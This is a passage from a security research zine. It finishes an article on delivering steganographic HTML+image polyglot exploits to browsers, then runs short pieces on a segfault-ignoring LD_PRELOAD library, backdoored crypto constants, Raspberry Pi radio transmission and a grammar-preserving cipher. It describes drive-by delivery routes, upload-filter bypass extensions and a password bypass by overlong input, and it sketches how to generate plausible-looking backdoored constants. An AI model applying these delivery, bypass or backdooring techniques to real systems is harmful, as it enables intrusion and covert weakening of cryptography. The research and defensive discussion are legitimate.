Figure 8.20: PNG Dump of a Polyglot

Exploring the nuances of HTTP transport in itself can be a very complex topic, so I shall keep the discussion restricted to the relevant points.

Reaching the Target Browser

As an attacker, we have the three options for sending the polyglot to the victim’s browser. (1) We can host the image on an attacker-controlled web server and send its URL to the victim. (2) We could host the entire exploit on a URL shortener. (3) We could upload the image to a third-party website and provide a direct link.

It is also possible to combine this with a vast array of XSS vulnerabilities, but that is left to the reader’s imagination and talent.

Hosting drive-by exploit code on an attacker-controlled web server is the most popular of all HTTP delivery techniques. The HTML+Image polyglot can be hosted as a file with a JPEG or PNG file extension, an extension not registered with the browser’s default MIME types, or no file extension at all!

For each case, the web server can be configured to deliver the Content-Type: text/html HTTP header to force the victim’s browser to render the polyglot content as an HTML document. An explicit Content-Type header will override file extension guessing in the browser.

URL shorteners can be abused far more than just hiding a URL behind redirects. My previous research, presented in a lightning talk at CanSecWest 2010,44 shows how to host an entire exploit vector+payload in a URL shortener. With Data URIs being adopted by most modern browsers, it is theoretically possible to host a polyglot HTML+Image resource in a URL shortener. There are certain limits to the length of a URL that a browser will accept, but some clever work done by services like Hashify.me45 suggest that this could be overcome.

For additional tricks that an attacker can perform with URL shorteners, please refer to my article in the HITB E-Zine Issue 003, titled “URL Shorteners Made My Day”46.

Several web applications allow user-generated content to be hosted on their servers, with content white-listing. Blogs, user profile pictures, document sharing platforms, and some other sites allow this.

Images are almost always accepted in such applications because they pose no harm to the web application’s integrity. Several of these applications store user-generated content on a separate content delivery server, a popular example being Amazon’s S3. Stored user content can be directly linked via URLs pointing to the hosting server.

As an example, I tried uploading kevin_polyglot to a document sharing application. The application stores my files on Amazon S3. The document can be referred via its direct link.

The HTTP response received is as follows:

   HTTP/1.1 200 OK
 2 x-amz-id-2: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
   x-amz-request-id: 313373133731337
 4 Date: Fri, 05 Jun 2015 11:48:57 GMT
   Last-Modified: Wed, 03 Jun 2015 09:07:32 GMT
 6 Etag: "BADC0DEBADC0DEBADC0DE"
   x-amz-server-side-encryption: AES256
8 Accept-Ranges: bytes
   Content-Type: application/octet-stream
10 Content-Length: 195034
   Server: AmazonS3

When loaded in Internet Explorer, the browser, noticing that there is no file extension, proceeds to guess the data type of the content via Content Sniffing, overriding the Content-Type: application/octet-stream header. IE identifies the polyglot content as an HTML document, noticing the presence of <html><!--in the early parts of the JPEG APP0 segment, as discussed in Section 8:7.4.

Soroush Dalili’s excellent presentation “File in the hole!” covers several techniques of abusing file uploaders used by web applications.47 In his talk, he discusses using double extensions (file.html;.jpg on IIS or file.html.xyz on Apache), using ghost extensions (file.html%00.jpg on FCKeditor), trailing null bytes, and case-sensitivity quirks to abuse file uploaders.

Content Sniffing

A polyglot’s greatest advantage, other than evading detection, is that it can be rendered in more than one context. For example, an image viewer application that supports multiple image formats would detect the type of image-based on the file extension. In the absence of an extension, the image viewer relies on the file’s magic numbers and header structure to determine the image type.

Browsers are far more complex beasts and are required to handle a variety of different data formats: HTML, Javascript, Images, CSS, PDF, audio, video; the list goes on. Browsers rely upon two key factors for determining the type of content, and thereby invoking the appropriate processor or renderer associated with it. These are the resource extension and the HTTP Content-Type response header

In the absence of known extensions or a Content-Type header, browsers ideally would simply offer a raw data dump of the content for the user to download. However, over the course of years, browsers have tried to implement automatic content guessing, called Content Sniffing.

Michal Zalewski is perhaps one of the leading authorities in analyzing browser behavior from a security perspective. In his excellent “Browser Security Handbook” Zalewski provides a detailed discussion on Content Sniffing techniques employed by various browsers.48

Figure 8.21, borrowed from Zalewski’s Browser Security Handbook, summarizes the results of content sniffing tests on various browsers.

Content Sniffing is the ideal weakness for a polyglot to exploit. Combining Content Sniffing tricks with these delivery approaches open up several creative attack delivery avenues. This is one of my topics for future research.

Time-Shifted Exploit Delivery

Time-Shifted Exploit Delivery is a technique where the exploit code does not need to be triggered at the same time it is delivered. The trigger can happen much later.

Assume that we deliver kevin_polyglot as an image file via a simple <img> tag. The web server serving this image can choose to provide cache control information and instruct the browser to cache this image for a certain time duration. The HTTP Expires response header can be used to this effect.

Image

Figure 8.21: Content Sniffing Matrix

Image

Figure 8.22: Exploit Delivery from Local Cache

Several days later, a URL pointing to kevin_polyglot is offered to the victim user. Upon clicking the link, the browser will detect a cache-hit and load the “image” into the DOM without making a network connection. The exploit will then be triggered as before, with the exception that at the time of exploitation, no network traffic will be observed, as shown in Figure 8.22.

Mitigation Techniques

Browser vendors need to start thinking about detecting polyglot content before it is rendered in the DOM. This is easier said than done.

Server side applications that accept user generated images should currently transcode all received images. For example, the application might transcode a JPEG file to a PNG file with slightly degraded quality, and back to JPEG. The idea here is to damage any steganographically encoded data.

8:7.6 Concluding Thoughts

While the full implications of practical exploit delivery via steganography and polyglots are not yet clear, I would like to present a few thoughts.

Sophisticated exploit delivery techniques are probably closer to being reality than previously estimated.

My research for Stegosploit shows that conventional means of detecting malicious software fall short of stopping such attacks.

Images, which were previously presumed to be passive data containers, can now be used in practical attack scenarios.

It is easier to detect polyglot files than steganographically encoded images. I ran a few tests with stegdetect,49 one of the de facto tools used to detect steganography in images. My initial results from stegdetect show that none of the encoded files were successfully detected.

This is not a fault of stegdetect per se. stegdetect is built to detect steganography schemes that it knows of. It has a mode that supports linear discriminant analysis to automate detection of new steganography methods, however it requires several samples of normal and steganographic images to perform its classification. I have not tested this yet.

In proper PoCGTFO style, Stegosploit is distributed as a picture of a cat attached to pocorgtfo08.pdf.50

EOF

Image

8:8 On Error Resume Next

by Jeffball

Don’t you just long for the halcyon days of Visual Basic 6? Between starting arrays at 1 and only needing signed data types, Visual Basic was just about as good as it gets. Well, I think it’s about time we brought back one of my favorite features: On Error Resume Next. For those born too late to enjoy the glory of VB6, On Error Resume Next allowed those courageous VB6 ninjas who dare wield its mightiness to continue executing at the next instruction after an exception. While this may remove the pesky requirement of error handling, it often caused unexpected behavior.

When code crashes in Linux, the kernel sends the SIGSEGV signal to the faulting program, commonly known as a segfault. Like most signals, this one too can be caught and handled. However, if we don’t properly clean up whatever caused the segfault, we’ll return from that segfault just to cause another segfault. In this case, we simply increment the saved RIP register, and now we can safely return. The third argument that is passed to the signal handler is a pointer to the user-level context struct that holds the saved context from the exception.

1 void segfault_sigaction(int signal, siginfo_t *si,
                          void * ptr) {
3   ((ucontext_t *)ptr)->uc_mcontext.gregs[REG_RIP]++;
  }

Now just a little code to register this signal handler, and we’re good to go. In addition to SIGSEGV, we’d better register SIGILL and SIGBUS. SIGILL is raised for illegal instructions, of which we’ll have many since our On Error Resume Next handler may restart a multi-byte instruction one byte in. SIGBUS is used for other types of memory errors (invalid address alignment, nonexistent physical address, or some object specific hardware errors, etc) so it’s best to register it as well.

     struct sigaction sa;
2    memset (&sa, 0, sizeof(sigaction));
     sigemptyset(&sa.sa_mask);
4    sa.sa_sigaction = segfault_sigaction;
     sa.sa_flags     = SA_SIGINFO;
6
     sigaction(SIGSEGV, &sa, NULL);
8    sigaction(SIGILL,  &sa, NULL);
     sigaction(SIGBUS,  &sa, NULL);

In order to help out the users of buggy software, I’ve included this code as a shared library that registers these handlers upon loading. If your developers are too busy to deal with handling errors or fixing bugs, then this project may be for you. To use this code, simply load the library at runtime with the LD_PRELOAD environment variable, such as the following:

1 $ LD_PRELOAD=./liboern.so ./login

Be wary though, this may lead to some unexpected behavior. The attached example shell server illustrates this, but can you figure out why it happens?51

1 $ nc localhost 5555
  Please enter the password:
3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
5 Password correct, starting access shell...

Image
Image

8:9 Unbrick My Part

by EVM and Tommy Brixton (no relation to Toni Braxton)

Don’t leave me stuck in this state
Back out the changes you made
Restore and cycle my power
Take these double faults away
I need you to reflash me now
My screen just won’t come on
Please hold me now, use and operate me

Unbrick my part
Flash my ROM on again
Undo the damage you caused
When you jacked up my image and wrote it back on
Un-ice this freeze
I crashed so many times
Unbrick my part
My part

Image

Restore my interrupt table
Fix up my volume labels
My debug registers are filling with tears
Come and clear these bugs away
My checksums are all broken
My CRCs are bad
And life is so cruel without you to operate me

Unbrick my part
Flash my ROM on again
Undo the damage you caused
When you jacked up my image and wrote it back on
Un-ice this freeze
I crashed so many times
Unbrick my part
My part

Don’t leave me stuck in this state
Back out the changes you made
Please hold me now, use and operate me

8:10 Backdoors up my Sleeve

by JP Aumasson

SHA-1 was designed by the NSA and uses the constants 5a82-7999, 6ed9eba1, 8f1bbcdc, and ca62c1d6. In case you haven’t already noticed, these are hex representations of 230 times the square roots of 2, 3, 5, and 10.

NIST’s P-256 elliptic curve was also designed by the NSA and uses coefficients derived from a hash of the seed c49d3608 86e7-0493 6a6678e1 139d26b7 819f7e90. Don’t look for decimals of square roots here; we have no idea where this value comes from.

Which algorithm would you trust the most? SHA-1, of course! We don’t know why 2, 3, 5, 10 were chosen rather than 2, 3, 5, 7, or why the square root was used instead of the logarithm, but this looks more convincing than some unexplained random-looking number.

Plausible constants such as Image are often called “nothing-upmy-sleeve” (NUMS) constants, meaning that there is a kinda-convincing explanation of their origin. But it isn’t impossible to backdoor an algorithm with only NUMS constants, it’s just more difficult.

There are basically two ways to create a NUMS-looking backdoored algorithm. One must either (1) bruteforce NUMS constants until one matches the backdoor conditions or (2) brute-force backdoor constants until one looks NUMS.

The first approach sounds easier, because bruteforcing backdoor constants is unlikely to yield a NUMS constant, and besides, how do you check that some constant is a NUMS? Precompute a huge table and look it up? In that case, you’re better off bruteforcing NUMS constants directly (and you may not need to store them). But in either case, you’ll need a lot of NUMS constants.

I’ve been thinking about this a lot after my research on malicious hash functions. So I set out to write a simple program that would generate a huge corpus of NUMS-ish constants, to demonstrate to non-cryptographers that “nothing-up-my-sleeve” doesn’t give much of a guarantee of security, as pointed out by Thomas Pornin on Stack Exchange.

The numsgen.py program generated nearly two million constants, while I was writing this.52 Nothing new or clever here; it’s just about exploiting degrees of freedom in the process of going from a plausible seed to actual constants. In that PoC program, I went for the following method:

  1. Pick a plausible seed.

  2. Encode it to a byte string.

  3. Hash it using some hash function.

  4. Decode the hash result to the actual constants.

Each step gives you some degrees of freedom, and the game is to find somewhat plausible choices.

As I discovered after releasing this, DJB and others did a similar exercise in the context of manipulated elliptic curves in their “BADA55 curves” paper,53 though I don’t think they released their code. Anyway, they make the same point: “The BADA55-VPR curves illustrate the fact that ‘verifiably pseudorandom’ curves with ‘systematic’ seeds generated from ‘nothing-up-my-sleeve numbers’ also do not stop the attacker from generating a curve with a one-in-a-million weakness.” The two works obviously overlap, but we use slightly different tricks.

Seeds

We want to start from some special number, or, more precisely, one that will look special. We cited SHA-1’s use of Image, Image, Image, Image, but we could have cited

• π used in ARIA, BLAKE, Blowfish,

• MD5 using “the integer part of 4, 294, 967, 296 × |sin(i)|,”

• SHA-1 using 0123456789abcdeffedcba9876543210f0e1-d2c3,

• SHA-2 using square roots and cube roots of the first primes,

• NewDES using the US Declaration of Independence,

• Brainpool curves using SHA-1 hashes of π and e.

Special numbers may thus be universal math constants such as π or e, or some random-looking sequence derived from a special number: small integers such as 2, 3, 5, or some number related to the design (like the closest prime number to the security level), or the designer’s birthday, or his daughter’s birthday, etc.

For most numbers, functions like the square root or trigonometric functions yield an irrational number, namely one that can’t be expressed as a fraction, and with an infinite random-looking decimal expansion. This means that we have an infinite number of digits to choose from!

Let’s now enumerate some NUMS numbers. Obviously, what looks plausible to the average user may not be so for the experienced cryptographer, so the notion of “plausibility” is subjective. Below we’ll restrict ourselves to constants similar to those used in previous designs, but many more could be imagined (like physical universal constants, text rather than numbers, etc.). In fact, we’ll even restrict ourselves to irrational numbers: π, e, φ = (1+Image)/2 (the golden ratio), Euler–Mascheroni’s γ, Apéry’s ζ(3) constant, and irrationals produced from integers by the following functions

• Natural logarithm, ln(x), irrational for any rational x > 1;

• Decimal logarithm, log(x), irrational unless x = 10n for some integer n;

• Square root, Image, irrational unless x is a perfect square;

• Cubic root, Image, irrational unless x is a perfect cube;

• Trigonometric functions: sine, cosine, and tangent, irrational for all non-zero integers.

We’ll feed these functions with the first six primes: 2, 3, 5, 7, 11, 13. This guarantees that all these functions will return irrationals.

Now that we have a bunch of irrationals, which of their digits do we record? Since there’s an infinite number of them, we have to choose. Again, this precision must be some plausible number. That’s why this PoC takes the first N significant digits—rather than just the fractional part—for the following values of N: 42, 50, 100, 200, 500, 1000, 32, 64, 128, 256, 512, and 1024.

We thus have six primes combined with seven functions mapping them to irrationals, plus six irrationals, for a total of 48 numbers. Multiplying by twelve different precisions, that’s 576 irrationals. For each of those, we also take the multiplicative inverse. For the one of the two that’s greater than one, we also take the fractional part (thus stripping the leading digit from the significant digits). We thus have in total 3 × 576 = 1, 728 seeds.

Note that seeds needn’t be numerical values. They can be anything that can be hashed, which means pretty much anything: text, images, etc. However, it may be more difficult to explain why your seed is a Word document or a PCAP than if it’s just raw numbers or text.

Encodings

Cryptographers aren’t known for being good programmers, so we can plausibly deny an awkward encoding of the seeds. The PoC tries the obvious raw bytes encoding, but also ASCII of the decimal, hex (lower and upper case), or even binary digits (with and without the 0b prefix). It also tries Base64 of raw bytes, or of the decimal integer.

To get more degrees of freedom you could use more exotic encodings, add termination characters, timestamps, and so on, but the simpler the better.

Hashes

The purpose of hashing to generate constants is at least threefold.

1. Ensure that the constant looks uniformly random, that it has no symmetries or structure. This is, for example, important for the hash functions’ initial values. Hash functions can thus “sanitize” similar NUMS by produce completely different constants:

1 >>> hex(int(math.tanh(5)*10**16))
  '0x23861f0946f3a0'
3 >>> sha1(_).hexdigest()
  'b96cf4dcd99ae8aec4e6d0443c46fe0651a44440'
5 >>> hex(int(math.tanh(7)*10**16))
  '0x2386ee907ec8d6'
7 >>> sha1(_). hexdigest()
  '7c25092e3fed592eb55cf26b5efc7d7994786d69'

2. Reduce the length of the number to the size of the constant. If your seed is the first 1000 digits of π, how do you generate a 128-bit value that depends on all the digits?

3. Give the impression of “cryptographic strength.” Some people associate the use of cryptography with security and confidence, and may believe that constants generated with SHA-3 are safer than constants generated with SHA-1.

Obviously, we want a cryptographic hash rather than some fast-and-weak hash like CRC. A natural choice is to start with MD5, SHA-1, and the four SHA-2 versions. You may also want to use SHA-3 or BLAKE2, which will give you even more degrees of freedom in choosing their version and parameters.

Rather than just a hash, you can use a keyed hash. In my PoC program, I used HMAC–MD5 and HMAC–SHA1, both with 3×3 combinations of the key length and value.

Another option, with even more degrees of freedom, is a key derivation—or password hashing—function. My proof of concept applies PBKDF2–HMAC–SHA1, the most common instance of PBKDF2, with: either 32, 64, 128, 512, 1024, 10, 100, or 1000 iterations; a salt of 8, 16, or 32 bytes, either all-zero or all-ones. That’s 48 versions.

The PoC thus tries 6 + 18 + 48 = 72 different hash functions.

Decoding

Decoding of the hashes to actual constants depends on what constants you want. In this PoC I just want four 32-bit constants, so I only take the first 128 bits from the hash and parse them either as big- or little-endian.

Conclusion

That’s all pretty simple, and you could argue that some choices aren’t that plausible (e.g., binary encoding). But that kind of thing would be enough to fool many, and most would probably give you the benefit of the doubt. After all, only some pesky cryptographers object to NIST’s unexplained curves.

So with 1,728 seeds, 8 encodings, 72 hash function instances, and 2 decodings, we have a total of 1, 728×8×72×2 = 1, 990, 656 candidate constants. If your constants are more sophisticated objects than just 32-bit words, you’ll likely have many more degrees of freedom to generate many more constants.

This demonstrates that any invariant in a crypto design—constant numbers and coefficients, but also operations and their combinations—can be manipulated. This is typically exploited if there exists a one in a billion (or any reasonably low-probability) weakness that’s only known to the designer. Various degrees of exclusive exploitability (“NOBUS”) may be achieved, depending on what’s the secret: just the attack technique, or some secret value like in the malicious SHA-1.

The latest version of the PoC is copied below. You may even use it to generate non-malicious constants.

Image
Image
Image
Image

8:11 Naughty Signals

by Russell Handorf

There are a lot of different projects that have rejuvenated interest in ham radio, more notably Software Defined Radio (SDR). The more prominent products are the USRP by Ettus Research, BladeRF by Nuand, and the HackRF by Mike Ossmann. These radios vary in capability and have their own distinct utility, depending on what radio communication you’d like to study; however, if all you are specifically interested in is receiving a simplistic signal, then the Realtek SDR is typically the best and cheapest choice. This article will show you how to combine a Realtek SDR receiver and a Raspberry Pi transmitter into a poor man’s tool for exploring radio systems.

Bandpass Filter

It is very important to use a bandpass filter when using the Raspberry Pi as an FM transmitter, because PiFM is essentially a square wave generator. This means that you’ll have a lot of harmonics as depicted in Figure 8.25. While the direct operational frequency range of PiFM is approximately 1 MHz to 250 MHz, the harmonics are still strong enough to reach frequencies below 1 MHz and as high as 500 MHz.

Image

Figure 8.23: Lowpass Filter for Reducing PiFM Harmonics

Image

Figure 8.24: Filter Bill of Materials

Because these harmonics can interfere with other stations, a mechanical SAW filter would be ideal to be able to control the frequencies you wish to transmit. However, those filters can set you back more than the Raspberry Pi, and may be hard to come by, unless there’s a neighborly Ham Radio Outlet near you.

Image

Figure 8.25: PiFM Harmonic Emissions

To make your own low pass filter, use the schematic in Figure 8.23.54 Parts for the various amateur bands are listed in Figure 8.24.

Raspberry Pi FM Transmitter

For over a year now, it has been documented how to turn the Raspberry Pi into an FM transmitter by using the PiFM software.55 Richard Hirst first demonstrated this technique in some C and Python code that generated spread-spectrum clock signals to output FM on GPIO pin #4. Oliver Mattos and Oskar Weigl have since enhanced PiFM to add more capabilities.

Be aware, however, that this technique has another problem beyond bleeding RF interference that must be cleaned by filters. Namely, the transmitter doesn’t shut down gracefully after you quit PiFM. Therefore, you’ll need a script to silence the transmission. We’ll call it pi-shutdown.sh in the various examples that follow.

1 #/bin/bash
  touch /tmp/empty && pifm /tmp/empty

AFSK

Audio Frequency Shift Keying (AFSK) is simply a method to modulate digital data as an analogue tone; you’ll certainly recognize this as the tones your modem made. AFSK characteristically represents 1 as a “mark” and 0 as a “space.” While not fast, AFSK does work very well in many applications where data is communicated over a consistent radio frequency. Because of these attributes, AFSK is frequently used for radio communications in industrial applications, embedded systems, and more. Using a program called minimodem, you’ll be easily able to receive and transmit AFSK with a Realtek SDR and a Raspberry Pi. Marc1 from kprod.eu demonstrated some very simple techniques for doing so, which a few other neighbors have been tweaked and updated in the examples to follow.

Image

To receive 1200 baud AFSK transmissions, such as those used in APRS, a quick script is all that’s needed:

  rtl_fm -f 146.0M -M wbfm -s 200000 -r 48000 -o 6
2 | sox -traw -r48k -es -b16 -c1 -V1 - -twav -     
  | minimodem --rx -8 1200

What’s happening here is that the program rtl_fm is tuned to 146.0 MHz, sampling at 200,000 samples per second and converting the output at a sample rate of 4,8000 Hz. The output from this is sent to sox, which is converting the audio received to the WAV file format. The output from sox is then sent to minimodem, which is decoding the WAV stream at 1200 baud, 8-bit ASCII. Transmitting an AFSK signal is just as easy:

1 echo "knock knock : 'date'" | minimodem --tx -f -8 1200 -f
       sentence.wav
  pifm sentence.wav 146.0 48000
3 pi-shutdown.sh

Other Transmission Examples

Because of the simplicity of PiFM, other forms of transmissions become easily achievable too.

Morse Code

Morse code can be transmitted over an FM channel by playing a pre-made audio file with dits and dahs, or by using the cwwav program written by Thomas Horsten to output directly to PiFM.56

1 echo hello world | cwwav -f 700 -w 20 -o morse.wav
  pifm morse.wav 146.0 48000
3 pi-shutdown.sh

Numbers Station

A numbers station is typically a government-owned transmitter that sends encoded messages to spies, operators, or employees of that that government anywhere in the world, where the messages are typically one way and seemingly random. The following script mimics the Cuban numbers station identified as HM01.57 What is interesting about it is that the data it sends is encoded with a common ham radio protocol called RDFT. Transmitting RDFT on a Raspberry Pi can be difficult, therefore using a simple FM transmission of THOR8 or QPSK256 should be adequate; using FLDIGI should be of great help to create these messages.

A script can easily speak a series of words into the air by piping them into the text2wave utility:

1 echo $text | text2wave -F 22050 - | pifm - 144 22050

DVB-T with Metadata

One common practice for those who work with the RTL dongle is to remove the DVB-T digital television kernel module. To receive this signal, however, you will need to re-enable that module. To transmit it, you’ll need hardware from HiDes,58 which can be had for a very low cost. This script works with the HiDes UT-100C.

 1 modprobe usb-it950x
   mkfifo ~/desktop
 3 avconv -f x11grab -s 1024x768                   
     -framerate 30 -i :0.0                         
 5   -vcodec libx264 -s 720x576                    
     -f mpegts                                     
 7   -mpegts_original_network_id 1                 
     -mpegts_transport_stream_id 1                 
 9   -mpegts_service_id 1                          
     -metadata service_provider="FCC CALL SIGN"    
11   -metadata service_name="Dialin for Dollars!"  
     -muxrate 3732k -y ~/desktop &
13 tsrfsend ~/desktop 0 730000 6000 4  1/2 1/4 8 0 0 &

Image
SSTV

Gerrit Polder (PA3BYA) developed a simple means of converting an image into a SSTV signal and then sending it out via the PiFM utility. Using his program, PiSSTV, command line transmissions of SSTV broadcasts with the Raspberry Pi are easy to achieve without the need for a graphical environment.

Howdy to the caring Neighbors

Thanks to the PiFM program, there are many portable options allowing ham operators, experimenters, and miscreants to explore and butcher the radio waves on the cheap. The main goal of this article is to document the work of many friendly folks in this arena, gathering in one place the information currently scattered across the bits and bobs of the Internet. Owing to the brilliant hacks of these neighbors, it should become apparent why any radio nut should consider having a Raspberry Pi armed with a filter and some code. While out of scope for the article, it should also become clear how you too can make a very inexpensive and portable HAM station for a large variety of digital and analog modes.

I’d like to extend a warm, hearty, and, eventually, beer supplemented thank you to Dragorn, Zero_Chaos, Rick Mellendick, DaKahuna, Justin Simon, Tara Miller, Mike Ossmann, Rob Ghilduta, and Travis Goodspeed for their direct support.

Image

8:12 Weird cryptography; or, How to resist brute-force attacks.

by Philippe Teuwen

“Unbreakable, sir?” she said uneasily. “What about the Bergofsky Principle?”

Susan had learned about the Bergofsky Principle early in her career. It was a cornerstone of brute-force technology. It was also Strathmore’s inspiration for building TRANSLTR. The principle clearly stated that if a computer tried enough keys, it was mathematically guaranteed to find the right one. A code’s security was not that its pass-key was unfindable but rather that most people didn’t have the time or equipment to try.

Strathmore shook his head. “This code’s different.” “Different?” Susan eyed him askance. An unbreakable code is a mathematical impossibility! He knows that! Strathmore ran a hand across his sweaty scalp. “This code is the product of a brand new encryption algorithm—one we’ve never seen before.”

[ . . . ]

Yes, Susan, TRANSLTR will always find the key—even if it’s huge.” He paused a long moment. “Unless. . .

Susan wanted to speak, but it was clear Strathmore was about to drop his bomb. Unless what?

“Unless the computer doesn’t know when it’s broken the code.”

Susan almost fell out of her chair. “What!”

“Unless the computer guesses the correct key but just keeps guessing because it doesn’t realize it found the right key.” Strathmore looked bleak. “I think this algorithm has got a rotating cleartext.”

Susan gaped.

The notion of a rotating cleartext function was first put forth in an obscure, 1987 paper by a Hungarian mathematician, Josef Harne. Because brute-force computers broke codes by examining cleartext for identifiable word patterns, Harne proposed an encryption algorithm that, in addition to encrypting, shifted decrypted cleartext over a time variant. In theory, the perpetual mutation would ensure that the attacking computer would never locate recognizable word patterns and thus never know when it had found the proper key.

Yes, we are in a pure sci-fi techno-thriller. Some of you may have recognized this excerpt from the Digital Fortress by Dan Brown, published in 1998. Not surprisingly, there is no such thing as the concept of rotating cleartext or Bergofsky Principle, and Josef Harne never existed.

There is still a germ of an interesting idea: What if “the computer guesses the correct key but just keeps guessing because it doesn’t realize it found the right key”? Instead of trying to conceal plaintext in yet another layer of who-knows-what, let’s try to make the actual plaintext indistinguishable from incorrectly decoded ciphertext. It would be a bit similar to format-preserving encryption (FPE)59 where ciphertext looks similar to plaintext and honey encryption,60 which both share the motivation to resist brute-force. But beyond single words and passwords, I want to encrypt full sentences. . . into other grammatically correct sentences! Now if Eve wants to brute-force such an encrypted message, every single wrong key would produce a somehow plausible sentence. She would have to choose amongst all “decrypted” plaintext candidates for the one that was my initial sentence.

Image

So starts a war of natural language models. Anything the cryptanalyst can find to discard a candidate can be used in turn to tune the initial grammar model to create more plausible candidates. The problem for the cryptanalyst C can be expressed as a variation of the Turing test, where the test procedure is not a dialog but consists of presenting n texts, of which n” 1 were produced by a machine A, and only one was written by a human B (cf. Fig. 8.26.)

Image

Figure 8.26: Turing test, our way.

We’ll start with a mapping between sentences and their numerical representations. Let’s represent a language by a graph. Each sentence is one path through the language graph. Taking another random path will lead to another grammatically correct sentence. To encrypt a message, the first step is to encode it as a description of the path through the grammar graph. This path has to be identified numerically (enumerated) among the possible paths. Ideally, the enumeration must be balanced by the frequency of common grammatical constructions and vocabulary, something you get more or less for free if you manage to map some Huffman coding onto it. If there is a complete map between all the paths up to a given length and a bounded set of integers, then we have the guarantee that any random pick in the set will be accepted by the deciphering routine and will lead to a grammatically correct sentence. So the numerical representation can now be ciphered by any classic symmetric cipher.

A complete solution has to follow a few additional rules. It must not include any metadata that would confirm the right key when brute-forced, so e.g., it shouldn’t introduce any checksum over the plaintext that could be used by an attacker to validate candidates! And any wrong key should lead to a proper deciphering and a valid sentence, no exception.

Such encoding method covering a balanced language graph could serve as a basis for a pretty cool natural language text compressor, which works a bit like ordering the numbers 3, 10, and 12 in a Chinese restaurant. (I recommend the 12.)

In practice, some junk can be tolerated in the brute-forced candidates; in fact, even a lot of junk could be fine! For example, 99% of detectable junk would lead to a loss of just 6.6 bits of key material.

Enough talk. Show me a PoC or you-know-what!

Fair enough.

We need to parse English sentences, so a good starting point may be grammar checkers. link-grammar sounds like a good tool to play with.

$ apt-cache show link-grammar
Description-en: Carnegie Mellon University's link grammar
     parser
 In Selator, D. and Temperly, D. "Parsing English with a Link
    Grammar" (1991), the authors defined a new formal
    grammatical system called a "link grammar". A sequence of
    words is in the language of a link grammar if there is a
    way to draw "links" between words in such a way that the
    local requirements of each word are satisfied, the links
    do not cross, and the words form a connected graph. The
    authors encoded English grammar into such a system, and
    wrote this program to parse English using this grammar.

Here is, for example, how it parses a quote from Jesse Jackson: “I take my role seriously as a pastor.”

            +-----------MVp-----------+
            +-------MVa-------+       |
            +----Os---+       |       +---Js---+
      +-Sp*i+    +-Ds-+       |       |  +--Ds-+
      |     |    |    |       |       |  |     |
I.p take.v my role.n seriously as.p a pastor.n

The difficulty is the enumeration of paths that would cover the key space if we want to map one path to another one. So, for a first attempt, let’s keep the grammatical structure of the plaintext, and we will replace every word by another that respects the same structure. After wrapping some Bash scripting around link-grammar and its dictionaries, here’s what we can get:

$ echo "my example illustrates a means to obfuscate a complex
     sentence easily"|./encode
 @23:2 n.1:2865 v.4.2:1050 a n.1:4908 to v.4.1:1352 a adj
   .1:720 n.1:7124 adv.1:369

This is one possible encoding of the input: every word is replaced by a reference to a wordlist and its position in the list. Hopefully, another script allows us to reverse this process:

$ echo "my example illustrates a means to obfuscate a complex
     sentence easily"|./encode|./decode
my example illustrates a means to obfuscate a complex
   sentence easily

So far, so good. Now we will encode the positions using a secret key (123 in this example) with a very very stupid 16-bit numeric cipher.

$ echo "my example illustrates a means to obfuscate a complex
     sentence easily"|./encode 123
 @23:1 n.1:7695 v.4.2:2054 a n.1:2759 to v.4.1:2070 a adj
    .1:2518 n.1:5439 adv.1:123

$ echo "my example illustrates a means to obfuscate a complex
     sentence easily"|./encode 123|./decode 123

my example illustrates a means to obfuscate a complex
   sentence easily

$ echo "my example illustrates a means to obfuscate a complex
     sentence easily"|./encode 123|./decode 124
its storey siphons a blink to terrify a sublime filbert
   irretrievably

Using any wrong key would lead to another grammatically correct sentence. So we managed to build an (admittedly stupid) crypto system that is pretty hard to bruteforce, as all attempts would lead to grammatically correct sentences, giving no clue to the bruteforcing attacker. It is nevertheless only moderately hard to break, because one could, for example, classify the results by frequency of those words or word groups in English text to keep the best candidates. But the same reasoning can be used to enhance the PoC and get better statistical results, harder for an attacker to disqualify.

Actually, we can do better: let’s send one of those weird sentences instead of the encoded path. This gives plausible deniability: you can even deny it is a message encoded with this method, and claim that you wrote it after partaking of a few Laphroaig Quarter Cask. ;-) British neighbors are advised, however, that if this leads to the UK banning Laphroaig Quarter Cask for public safety reasons, the Pastor might no longer be their friend.

$ echo "my example illustrates a means to obfuscate a complex
     sentence easily"|./encode |./decode 123
your search cements a tannery to escort a unrelieved clause
    exuberantly

This can be deciphered by whoever knows the key:

$ echo "your search cements a tannery to escort a unrelieved
    clause exuberantly"|./encode 123|./decode
my example illustrates a means to obfuscate a complex
   sentence easily

And an attempt to decipher it with a wrong key gives another grammatically correct sentence:

$ echo "your search cements a tannery to escort a unrelieved
    clause exuberantly"|./encode 124|./decode
your scab slakes a bluffer to integrate a introspective
   hamburger provocatively

If someone attempts to brute-force it, she would end up with something like this:

$ echo "your search cements a tannery to escort a unrelieved
   clause exuberantly"|./bruteforce
...
22366:their presentiment reprehends a saxophone to irk a
    topless mind perennially
22367:your cry compounds a examiner to shoulder a massive
    bootlegger unconsciously
22368:our handcart renounces a lamplighter to imprint a
    outbound doorcase weakly
22369:my neurologist fascinates a plenipotentiary to butcher
    a psychedelic imprint automatically
22370:their safecracker vents a spoonerism to refurnish a
    shaggy parodist complacently
22371:your epicure extols a governor to belittle a indecorous
    clip heatedly
22372:our kilt usurps a monger to punish a loud foothold
    indirectly
22373:my piranha mugs a resistor to evict a obstetric malaise
    laconically
22374:its controller unsettles a duchess to ponder a
    diversionary beggar riotously
22375:your glen mollifies a interjection to embezzle a
    forgetful decibel speciously
22376:our misdeal countermands a pedant to typify a
    imperturbable heyday topically
22377:their bower misstates a colloquialism to disorientate a
    apoplectic warrantee courteously
22378:its downpour copies a frolic to sweeten a circumspect
    cavalcade dispiritedly
22379:your infidel resurrects a masseuse to manufacture a
    differential fairway famously
22380:my abstract contaminates a birthplace to squire a
    unaltered subsection lukewarmly
22381:their co - op resents a deuce to inveigle a unsubtle
    attendant objectionably
^C

The scripts are available by unzipping pocorgtfo08.pdf, but the file itself can be executed in Linux to secure your communications — because why not?

$ chmod +x pocorgtfo08.pdf
$ echo "encrypt this sentence !" | ./pocorgtfo08.pdf -e 12345
 besmirch this carat !
$ echo "besmirch this carat !" | ./pocorgtfo08.pdf -d 12345
 encrypt this sentence !

